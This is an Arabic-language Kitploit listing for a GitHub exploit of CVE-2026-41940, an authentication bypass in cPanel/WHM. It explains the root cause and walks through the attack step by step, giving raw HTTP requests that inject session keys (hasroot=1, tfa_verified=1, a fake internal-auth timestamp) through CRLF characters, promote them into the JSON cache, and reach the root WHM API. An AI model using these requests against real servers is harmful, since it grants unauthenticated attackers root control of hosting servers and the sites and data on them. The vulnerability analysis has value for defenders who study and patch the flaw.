Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-41940-cPanel-Auth-Bypass-Exploit — استغلال لثغرة CVE-2026-41940، وهي تجاوز للمصادقة في cPanel/WHM، تتيح للمهاجمين غير المصادق عليهم الحصول على وصول جذر عبر حقن الجلسة وترقية ذاكرة التخزين المؤقت JSON. | Kitploit
أدوات/GitHubGitHub/kmaruthisrikar/cve-2026-41940-cpanel-auth-bypass-exploit
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubkmaruthisrikar/cve-2026-41940-cpanel-auth-bypass-exploit

CVE-2026-41940-cPanel-Auth-Bypass-Exploit

استغلال لثغرة CVE-2026-41940، وهي تجاوز للمصادقة في cPanel/WHM، تتيح للمهاجمين غير المصادق عليهم الحصول على وصول جذر عبر حقن الجلسة وترقية ذاكرة التخزين المؤقت JSON.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1136منذ 5 أشهرلم تتم المراجعة بعد

CVE-2026-41940: تحليل تجاوز المصادقة في cPanel/WHM

نظرة عامة على الثغرة

CVE-2026-41940 هي ثغرة حرجة في تجاوز المصادقة في cPanel وWHM تؤثر على جميع الإصدارات المدعومة حالياً. تسمح للمهاجم غير المصادق بتجاوز المصادقة والحصول على وصول على مستوى الجذر (WHM) أو وصول على مستوى المستخدم (cPanel).

السبب الجذري التقني

تنبع الثغرة من مشكلتين أساسيتين في Cpanel/Session.pm:

  1. حقن CRLF في saveSession: لم تقم دالة saveSession بتعقيم المدخلات بشكل صحيح قبل كتابتها إلى ملف الجلسة على القرص. على وجه التحديد، فشلت في إزالة أحرف السطر الجديد (\n) من حقل pass.
  2. تجاوز الترميز الشرطي: يتم عادةً تشفير حقل pass في ملف الجلسة باستخدام سر خاص بكل جلسة (ob). ومع ذلك، إذا كانت ملفات تعريف الارتباط الخاصة بالجلسة لا تحتوي على جزء ob (الجزء بعد الفاصلة)، يتم تخطي الترميز، وتُكتب قيمة pass كنص واضح.

عملية الاستغلال

الاستغلال هو عملية متعددة الخطوات:

1. إنشاء جلسة ما قبل المصادقة

أرسل محاولة تسجيل دخول فاشلة لتحفيز إنشاء ملف جلسة على القرص.

POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=anything

يستجيب الخادم بملف تعريف ارتباط whostmgrsession، على سبيل المثال: whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4....

2. حقن مفاتيح جلسة خبيثة

أرسل طلباً آخر باستخدام ملف تعريف ارتباط الجلسة ولكن قم بإزالة جزء ob (الفاصلة وكل ما بعدها). في حقل pass، قم بحقن مفاتيح الجلسة المطلوبة باستخدام أسطر جديدة.

POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded

user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149

نظراً لغياب جزء ob، يقوم cpsrvd بكتابة قيمة pass بدون ترميز. تتسبب الأسطر الجديدة المحقونة في تفسير الأسطر اللاحقة كأزواج مفاتيح-قيم منفصلة في ملف الجلسة الخام.

3. ترقية الحقن إلى ذاكرة التخزين المؤقت JSON

يستخدم cPanel ذاكرة تخزين مؤقت JSON للجلسات. الحقن الخام موجود فقط في الملف النصي. لجعله "نشطاً"، يجب إجبار cPanel على إعادة قراءة الملف الخام وتحديث ذاكرة التخزين المؤقت JSON. يمكن القيام بذلك عن طريق تحفيز خطأ "Token Denied" على نقطة نهاية تستخدم Cpanel::Session::Modify.

GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK

يؤدي غياب رمز الأمان في عنوان URL إلى تحفيز do_token_denied، الذي يستخدم Cpanel::Session::Modify لتحديث عدد token_denied. يقوم Modify بقراءة الملف الخام (متجاوزاً ذاكرة التخزين المؤقت) ثم يكتب كلاً من الملف الخام وذاكرة التخزين المؤقت JSON، مما يرقّي المفاتيح المحقونة لدينا إلى المستوى الأعلى من ذاكرة التخزين المؤقت JSON.

4. الوصول إلى نقاط النهاية المحمية

الآن الجلسة "مصادق عليها" بالكامل في نظر cPanel. يتجاوز مفتاح successful_internal_auth_with_timestamp فحص /etc/shadow.

GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK

يمكن الحصول على [TOKEN] من حقل cp_security_token في الجلسة، والذي غالباً ما يتم إرجاعه في استجابة "Token Denied" أو يمكن العثور عليه من خلال فحص سلوك ملف تعريف ارتباط الجلسة.

الحقول الرئيسية المحقونة

  • tfa_verified=1: يتجاوز المصادقة الثنائية.
  • hasroot=1: يمنح صلاحيات الجذر في WHM.
  • successful_internal_auth_with_timestamp=[TIMESTAMP]: يتجاوز التحقق الفعلي من كلمة المرور مقابل ملف الظل للنظام.
  • user=root: يضبط مستخدم الجلسة على الجذر.
تنزيل الأداة